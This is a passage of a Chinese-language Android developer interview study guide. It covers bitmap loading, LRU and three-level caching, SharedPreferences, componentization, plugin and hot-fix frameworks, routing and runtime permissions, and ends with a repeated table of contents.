        if (srcWidth > srcHeight) {
            inSampleSize = Math.round(srcHeight / height);
        } else {
            inSampleSize = Math.round(srcWidth / width);
        }
    }

    //3. 真正加载图片到内存当中
    options.inJustDecodeBounds = false;
    options.inSampleSize = inSampleSize;
    //ARGB_8888格式的图片，每像素占用 4 Byte，而 RGB565则是 2 Byte
    options.inPreferredConfig = Bitmap.Config.RGB_565;
    options.inPurgeable = true;
    options.inInputShareable = true;
    return BitmapFactory.decodeFile(path, options);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

7. LRU缓存机制

LRU缓存机制的核心原理：

LruCache中维护了一个以访问顺序排序的集合LinkedHashMap（双向循环链表）
新数据插入到链表头部
每当缓存命中（即缓存数据被访问），则将数据移到链表头部
当链表满的时候，将链表尾部的数据丢弃

LruCache缓存机制

8. 图片的三级缓存

关于Android图片的多级缓存，其中主要的就是内存缓存和硬盘缓存。它的核心思想是：

在获取一张图片时，首先到内存缓存(LruCache)中去加载
如果未加载到，则到硬盘缓存(DiskLruCache)中加载，如果加载到将其返回并添加进内存缓存
否则通过网络加载一张新的图片，并将新加载的图片添加进入内存缓存和硬盘缓存

图片三级缓存

9. 参考文章

Bitmap详解与Bitmap的内存优化

Android性能调优(5)—Bitmap内存模型

Android面试一天一题（Day 22: 图片到底是什么）

Android使用BitmapRegionDecoder加载超大图片方案

Android性能调优(6)—Bitmap优化

彻底解析Android缓存机制——LruCache

浅谈图片加载的三级缓存

数据存储方式与数据缓存

1. Android中5大数据存储方式

文件：存储一些简单的文本数据或者二进制数据，包括内存、外部存储。
SharedPreferences（本质上属于文件存储）：适用于存储一些键值对，一般用来存储配置信息。
SQLite数据库：适用于存储一些复杂的关系型数据。
网络：存储比较重要的数据，比如账号密码等。
ContentProvider：访问（增删改查）其他应用程序中私有数据。

2. 有关数据安全问题

避免使用静态变量保存核心、重要的数据。因为静态变量在进程被杀死的时候，会重新初始化
官方推荐使用五大数据存储方式

3. 数据缓存

数据缓存

推荐使用LRU策略缓存
内存缓存：存储在集合当中，重要数据不推荐使用静态变量存储
磁盘缓存：根据数据类型、应用场合选择Android中5大数据存储方式实现缓存
使用一些实现了内存缓存、磁盘缓存、缓存时间等强大功能的第三方开源的缓存库：ACache、RxCache等

缓存统计显示与缓存清理

缓存统计与显示：统计/data/你的应用包名/cache/目录的大小
缓存清理：删除/data/你的应用包名/cache/目录

4. 参考文章

安卓中五种数据存储方式

【Android开源项目分析】android轻量级开源缓存框架——ASimpleCache（ACache）源码分析

【从 0 开始开发一款直播 APP】6 缓存 ACache 源码解析

Android记录20-获取缓存大小和清除缓存功能

SharedPreferences

1. SharedPreferences基本概念以及优缺点

SharedPreferences用来保存基于XML文件存储的key-value键值对数据，通常用来存储一些简单的配置信息。数据存储在/data/data//shared_prefs目录下。
只能存储少量boolean、int、float、long、String五种简单的数据类型，操作简单，但是无法完全替代其他数据存储方式。
无法进行条件查询等复杂操作，对于数据的处理只能是简单的处理。

2. SharedPreferences的实现原理

SharedPreferences是个单例，具体实现在SharedPrefencesImpl。任意Context拿到的都是同一个实例。 SharedPreferences在实例化的时候会把SharedPreferences对应的xml文件内容通过pull解析全部读取到内存当中（mMap）。关于读操作：对于非多进程兼容的SharedPreferences的读操作是从内存读取的，不涉及IO操作。写入的时候由于内存已经保存了完整的xml数据，然后新写入的数据也会同步更新到内存，所以无论是用commit还是apply都不会影响立即读取。关于写操作：除非需要关心xml是否写入文件成功，否则你应该在所有调用commit的地方改用apply。

3. 同步与异步提交

commit方法的特点

存储的过程是原子操作
commit方法有返回值，设置成功为ture，否则为false
同时对一个SharedPreferences设置值最后一次的设置会直接覆盖前次值
如果不关心设置成功与否，并且是在主线程设置值，建议用apply方法

apply方法的特点

存储的过程也是原子操作
apply没有返回值，存储是否成功无从知道
apply写入过程分两步，第一步先同步写入内存，第二部在异步写入物理磁盘
apply写入的过程会阻塞同一个SharedPreferences对象的其他写入操作

总结

apply比commit效率高，commit直接是向物理介质写入内容，而apply是先同步将内容提交到内存，然后在异步的向物理介质写入内容。这样做显然提高了效率。

4. SharedPreferences不能实现跨进程同步问题

现象

数据安全问题：数据读写不能实时更新而造成数据写入丢失等问题，每个进程都会维护一个SharedPreferences的内存副本，副本之间互不干扰
getSharedPreferences时候的空指针问题

解决方案

通过查看 API 文档发现，在API Level > 11即Android 3.0可以通过Context.MODE_MULTI_PROCESS属性来实现多进程间的数据共享
但是在API 23时该属性被废弃。官方文档中明确写明SharedPreferences不适用于多进程间共享数据，推荐使用ContentProvider等方式

5. SharedPreferences存储的数据不能过大

SharedPreferences存储的基本的配置型数据，不能存储大量数据
SharedPreferences的读写操作可能会阻塞主线程，引起界面卡顿甚至ANR
SharedPreferences的Key-Value的mMap是一直存放在内存当中的，这样会带来极大的内存消耗，甚至产生泄漏、OOM
SharedPreferences对Key-Value频繁读写会产生大量的临时对象，会造成内存抖动，频繁GC会造成界面卡顿等问题

6. 参考文章

Android面试一天一题（14 Day：SharedPreferences）

SharedPreferences多进程共享数据爬坑之旅

深入理解Android SharedPreferences的commit与apply

SharedPreferences commit跟apply的区别

组件化

1. 组件化的基本概念

组件化开发就是将一个app分成多个模块，每个模块都是一个组件（Module），开发的过程中我们可以让这些组件相互依赖或者单独调试部分组件等，但是最终发布的时候是将这些组件合并统一成一个apk，这就是组件化开发。

组件化

2. 组件化的特点

公共资源、业务、模块混在一起耦合度太高，组件化可以实现模块之间的解耦、单独测试验证，又实现了模块共享资源和工具类
组件化可以提高开发效率：每个模块可以独立开发编译运行
利用组件化的思想对开源框架进行一次封装，除了防止代码入侵以外，同时也简化了使用，实现了项目的需求

3. 组件化的实现

组件化只是一种项目架构的思想，并没有具体的实现方案，需要根据公司的业务、项目性质等进行具体实现。一般的套路如下：

组件化模型

组件化的一些概念

组件化中，最好提供一个统一路由方案实现模块之间的分发和跳转。

4. 参考文章

Android组件化和插件化开发

Android组件化方案

插件化

1. 插件化的基本概念

插件化开发和组件化开发略有不用，插件化开发时将整个app拆分成很多模块，这些模块包括一个宿主和多个插件，与组件化最大的不同是：插件化中每个模块都是一个单独的apk（组件化的每个模块是个lib），最终打包的时候将宿主apk和插件apk分开或者联合打包。

插件化

2. 插件化的特点

解决应用越来越大所带来的技术限制，比如65535方法数量限制
应用越来越大的时候多人合作开发的问题：插件化可以实现宿主和插件分开编译、并行开发，提高开发效率并且分工明确
插件模块的动态按需下载，减少宿主APK的体积
插件模块的动态更新可以解决线上BUG或者上架活动，达到热更新、热修复的目的
带有插件化、热更新的APK不能在Google Play上线，也就是没有海外市场

3. 插件化的核心原理

通过类加载机制（DexClassLoader）加载插件APK
通过代理机制（主要是动态代理）实现Activity等组件的生命周期
通过Java的反射机制结合面向接口（抽象）编程、面向切面程，实例化并且调用插件中的代码
访问插件中的资源：通过反射生成AssetManager对象并且通过反射调用addAssetPath方法加载插件中的资源（资源、主题等）
利用Hook机制对ActivityManagerService进行Hook，实现启动一个没有在清单文件中注册的插件Activity
不同框架的具体实现和原理都不一样……

4. 常见插件化框架（按照时间先后排列）

AndroidDynamicLoader：Android 动态加载框架，他不是用代理 Activity 的方式实现而是用 Fragment 以及 Schema 的方式实现

PluginMgr：不需要插件规范的apk动态加载框架。

Dynamic-load-apk：Android 使用动态加载框架DL进行插件化开发

Direct-Load-apk:Direct - load - apk 能够加载插件的全部资源. 支持插件间 Activity跳转. 不像 "dynamic load - apk" 这个项目, "Direct - load - apk" 不需要对插件有任何约束，也不需要在插件中引入jar和继承自定义Activity，可以直接使用this指针。

Android-Plugin-Framework：此项目是Android插件开发框架完整源码及示例。用来通过动态加载的方式在宿主程序中运行插件APK

ACDD：非代理Android动态部署框架

DynamicAPK：实现Android App多apk插件化和动态加载，支持资源分包和热修复.携程App的插件化和动态加载框架

比较新的，有代表性的有下面4个：

DroidPlugin：是360手机助手在Android系统上实现了一种新的插件机制

Small：世界那么大，组件那么小。Small，做最轻巧的跨平台插件化框架

VirtualAPK：VirtualAPK是滴滴出行自研的一款优秀的插件化框架

RePlugin：RePlugin是一套完整的、稳定的、适合全面使用的，占坑类插件化方案，由360手机卫士的RePlugin Team研发，也是业内首个提出”全面插件化“（全面特性、全面兼容、全面使用）的方案

5. 参考文章

热修复

1. 热修复主要解决的问题

版本发布之后发现严重BUG，需要紧急动态修复
小功能即时上线、下线，比如节日活动

2. 传统开发流程与热修复开发流程对比

传统开发流程

从流程来看，传统的开发流程存在很多弊端：

重新发布版本代价太大
用户下载安装成本太高
BUG修复不及时，用户体验太差

热修复开发流程

而热修复的开发流程显得更加灵活，优势很多：

无需重新发版，实时高效热修复
用户无感知修复（甚至无需重启应用），无需下载新的应用，代价小
修复成功率高，把损失降到最低

3. 热修复补丁修复详细工作流程

线上检查到Crash
拉出BugFix分支修复Crash问题
jenkins构建和补丁生成
app通过推送或主动拉取补丁文件
将BugFix代码合到master上

4. 热修复的两大核心原理

ClassLoader加载方案
Native层替换方案（Hook Native）

5. 热修复主流框架及实现原理

QQ空间的超级补丁技术

超级补丁技术基于DEX分包方案，使用了多DEX加载的原理，大致的过程就是：把BUG方法修复以后，放到一个单独的DEX里，插入到dexElements数组的最前面，让虚拟机去优先加载修复完后的方法。

当patch.dex中包含Test.class时就会优先加载，在后续的DEX中遇到Test.class的话就会直接返回而不去加载，这样就达到了修复的目的。

QQ空间超级补丁技术原理

微信的Tinker

微信针对QQ空间超级补丁技术的不足提出了一个提供DEX差量包，整体替换DEX的方案。主要的原理是与QQ空间超级补丁技术基本相同，区别在于不再将patch.dex增加到elements数组中，而是差量的方式给出patch.dex，然后将patch.dex与应用的classes.dex合并，然后整体替换掉旧的DEX文件，以达到修复的目的。

Thinker原理

阿里的AndFix

AndFix不同于QQ空间超级补丁技术和微信Tinker通过增加或替换整个DEX的方案，提供了一种运行时通过Hook Native方法，在Native修改Filed指针的方式，实现Java方法的替换，达到即时生效无需重启，对应用无性能消耗的目的。

AndFix原理

美团的Robust

主要原理：在每个方法前加入一段代码，如果patch.jar存在，则加载patch.jar中的代码片段，否则执行原本的代码片段。

Robust原理

饿了么的Amigo

Amigo 原理与 Tinker 基本相同，但是在 Tinker 的基础上，进一步实现了 so 文件、资源文件、Activity、BroadcastReceiver 的修复，几乎可以号称全面修复，不愧 Amigo（朋友）这个称号，能在危急时刻送来全面的帮助。

6. 三大主流框架对比

框架对比

7. 参考文章

Android热修复技术选型——三大流派解析

Android 插件化和热修复知识梳理

路由

1. 什么是路由？

根据路由表将页面请求分发到指定页面。

2. 为什么需要路由？（路由的应用场景）

解耦：APP中使用到组件化、插件化等技术的时候，需要解耦模块、页面之间的依赖关系
跳转一致化：原生、H5页面之间的互相跳转规范统一
页面动态配置：APP收到消息推送，点击通知/用户点击活动Banner广告等需要跳转到某个页面，该页面可以动态配置
页面跳转的拦截：比如不合法的页面的屏蔽、登录验证拦截、页面不存在需要拦截并且跳转到下载页面等

3. 路由的优势（与不使用路由对比）

路由实现了页面之间解耦：显式Intent在项目庞大以后，类依赖耦合太大，不适合组件化拆分
路由简化了页面之间的协作：隐式Intent协作困难，调用时候不知道调什么参数
路由的拦截功能提高了页面访问的安全性：每个注册了Scheme的Activity都可以直接打开，有安全风险
路由表的动态生成简化了页面的管理：解决了传统的AndroidMainfest集中式管理，这样比较臃肿的问题
路由的动态降级功能：不使用路由，如果页面出错，无法动态降级
路由的动态拦截功能：不使用路由，每次打开新的页面都需要做登录验证
路由实现了页面统一跳转：H5、Android、iOS地址不一样，不利于统一相互跳转协议、不利于服务器端（例如推送、活动Banner等）对APP页面进行动态配置

4. 路由的常见功能及其实现思路和核心原理

路由注册
- AndroidManifest里面的Activity声明scheme码是不安全的，所有App都可以打开这个页面，这里就产生有三种方式去注册：
- 注解产生路由表，通过DispatchActivity转发Intent
- AndroidManifest注册，将其export=false，再通过DispatchActivity转发Intent，天猫就是这么做的，比上面的方法的好处是路由查找都是系统调用，省掉了维护路由表的过程，但是AndroidManifest配置还是比较不方便的
- 注解自动修改AndroidManifest，这种方式可以避免路由表汇总的问题，方案是这样的，用自定义Lint扫描出注解相关的Activity，然后在processManifestTask后面修改AndroidManifest，该方案不稳定
路由表生成
- 用APT(Annotation Processing Tool)生成URL和Activity的对应关系、并且（结合路由分组策略）进行路由汇总
路由分发
- 现在所有路由方案分发都是用Activity做分发的
结果返回
- 捕获onActivityResult
动态拦截
- 拦截器是重中之重，有了拦截器可以做好多事情。ARouter是用线程等待实现的（等所有注册的拦截器处理完成之后才会进行下一步分发跳转）
参数获取
- 大部分路由库都是手动获取参数的，这样还要传入参数key比较麻烦，有三种做法：
- Hook掉Instrumentation的newActivity方法，注入参数
- 注册ActivityLifecycleCallbacks方法，注入参数
- APT生成注入代码，onCreate的时候bind一下

5. 常见的路由框架对比

常见路由框架对比

6. 参考文章

需要给activity跳转增加路由么？

Android 组件化 —— 路由设计最佳实践

Android 路由框架ARouter最佳实践

开源最佳实践：Android平台页面路由框架ARouter

一款可能是最容易使用的对页面、服务的路由框架。使用APT实现

RouterKit

Android权限机制和动态权限适配

1. 什么是Android权限机制

Android6.0以前：开发者在AndroidManifest文件中声明需要的权限，APP安装时，系统提示用户APP将获取的权限，需要用户同意授权才能继续安装，从此APP便永久的获得了授权。
Android6.0之后：引入动态权限的机制。在APP运行时，用户可以根据自身的需要，决定是否授予APP危险权限，同时，用户也可以很方便回收授予的权限。动态权限管理的机制，对于用户的隐私保护是更加适用的。

2. 危险权限（组）与一般权限

危险权限（组）Dangerous Permissions：联系人、电话、相机、定位、存储、录音、短信、日历、传感器
一般权限Normal Permissions：除危险权限之外的权限，比如网络、WIFI、蓝牙、闹钟、壁纸、NFC等

注意：

对于危险权限的分组，如果申请某个危险的权限，假设app早已被用户授权了同一组的某个危险权限，那么系统会立即授权，而不需要用户去点击授权。
不要对权限组过多的依赖，尽可能对每个危险权限都进行正常流程的申请，因为在后期的Android版本中这个权限组可能会产生变化。

3. 如何适配Android6.0动态权限及其兼容性问题

动态权限适配

APP要适配Android6.0非常简单，只需要在清单文件中配声明权限，然后将targetSdkVersion升级到23及以上，同时加入权限检查、申请、处理申请结果等代码逻辑即可。
相关重要API：
- 检查权限：ContextCompat.checkSelfPermission()
- 申请授权：ActivityCompat.requestPermissions()
- 处理回调：onRequestPermissionsResult()
权限适配的代码封装，同时也可以使用一些封装好的开源库：MPermission、RxPermission等

动态权限的运行兼容性问题

首先，旧版本APP（targetSdkVersion低于23），因为没有适配权限的申请相关逻辑，在Android6.0以上机型运行的时候，仍然采用安装时授权的方案。
适配了Android6.0的APP，在低版本Android系统上运行的时候，仍然采用安装时授权的方案。
开发者需要注意的是，权限申请的代码逻辑只应该在Android6.0及以上的机型被执行。（因此推荐使用XXXCompat的类，这种类已经对Android版本进行了判断）

View的绘制以及事件传递机制

http://hencoder.com/

动画机制

屏幕适配

Android新特性介绍，ConstraintLayout完全解析

设计模式与架构

Kotlin

开源框架源码分析

Java高级基础

大纲

Android工程师之Android面试大纲

面试复习——Android工程师之Android面试大纲

欢迎进入Hensen_的博客目录（全站式导航）

← Android知识点收集 AIDL 进程间通信 →

# Activity

# 1. 什么是Activity

# 2. Activity的4种状态

# 3. Activity生命周期

# 生命周期的基本介绍

# 生命周期流程

# 4. Activity任务栈

# 5. Activity的启动模式

# 6. Scheme跳转协议

# 概念

# 应用场景

# 7. 参考文章

# Fragment

# 1. 什么是Fragment

# 2. Fragment为什么被称为第五大组件

# 3. Fragment的生命周期

# 4. Fragment创建/加载到Activity的两种方式

# 5. Fragment通信问题

# 6. FragmentPageAdapter和FragmentPageStateAdapter的区别

# 7. 参考文章

# Service

# 1. 什么是Service

# 2. Service的两种启动方式与生命周期

# 3. Service和Thread的区别

# Broadcast

# 1. BroadcastReceiver是什么

# 2. BroadcastReceiver的使用场景

# 3. Broadcast种类

# 4. 广播的注册方式

# 5. 广播的实现机制

# 6. 本地广播的使用以及实现机制

# 7. 参考文章

# WebView

# 1. WebView远程代码执行安全漏洞

# 漏洞描述

# 示例代码

# 漏洞检测

# 漏洞修复

# 2. JSBridge

# 3. WebView的正确销毁与内存泄漏问题

# 4. WebView后台耗电

# 问题

# 解决方法

# 5. WebView硬件加速

# WebView硬件加速以及缺点

# 解决方案

# 6. WebViewClient的onPageFinished问题

# 问题

# 解决方案

# 7. 参考文章

# Android系统架构与Framework源码分析

# 1. Android系统架构

# 2. Android Framework源码分析

# 消息机制与Handler

# 1. 基本概念

# 2. 为什么要有消息机制

# 3. Handler的工作原理

# 4. Handler的内存泄漏问题

# 原因

# 解决方案

# 5. 为什么在子线程中创建Handler会抛异常？

# 6. 为什么不能在子线程更新UI？

# 7. 参考文章

# AsyncTask

# 1. AsyncTask的基本概念与基本工作原理

# 2. AsyncTask使用方法

# 三个参数

# 五个方法

# 3. AsyncTask的版本差异

# 内部的线程池的版本差异

# 串行、并行的版本差异

# 4. AsyncTask的缺陷

# 内存泄漏问题

# 原因

# 解决方案

# 结果丢失问题

# 原因

# 解决方案

# 5. 参考文章

# HandlerThread

Activity

1. 什么是Activity

2. Activity的4种状态

3. Activity生命周期

生命周期的基本介绍

生命周期流程

4. Activity任务栈

5. Activity的启动模式

6. Scheme跳转协议

概念

应用场景

7. 参考文章

Fragment

1. 什么是Fragment

2. Fragment为什么被称为第五大组件

3. Fragment的生命周期

4. Fragment创建/加载到Activity的两种方式

5. Fragment通信问题

6. FragmentPageAdapter和FragmentPageStateAdapter的区别

7. 参考文章

Service

1. 什么是Service

2. Service的两种启动方式与生命周期

3. Service和Thread的区别

Broadcast

1. BroadcastReceiver是什么

2. BroadcastReceiver的使用场景

3. Broadcast种类

4. 广播的注册方式

5. 广播的实现机制

6. 本地广播的使用以及实现机制

7. 参考文章

WebView

1. WebView远程代码执行安全漏洞

漏洞描述

示例代码

漏洞检测

漏洞修复

2. JSBridge

3. WebView的正确销毁与内存泄漏问题

4. WebView后台耗电

问题

解决方法

5. WebView硬件加速

WebView硬件加速以及缺点

解决方案

6. WebViewClient的onPageFinished问题

问题

解决方案

7. 参考文章

Android系统架构与Framework源码分析

1. Android系统架构

2. Android Framework源码分析

消息机制与Handler

1. 基本概念

2. 为什么要有消息机制

3. Handler的工作原理

4. Handler的内存泄漏问题

原因

解决方案

5. 为什么在子线程中创建Handler会抛异常？

6. 为什么不能在子线程更新UI？

7. 参考文章

AsyncTask

1. AsyncTask的基本概念与基本工作原理

2. AsyncTask使用方法

三个参数

五个方法

3. AsyncTask的版本差异

内部的线程池的版本差异

串行、并行的版本差异

4. AsyncTask的缺陷

内存泄漏问题

原因

解决方案

结果丢失问题

原因

解决方案

5. 参考文章

HandlerThread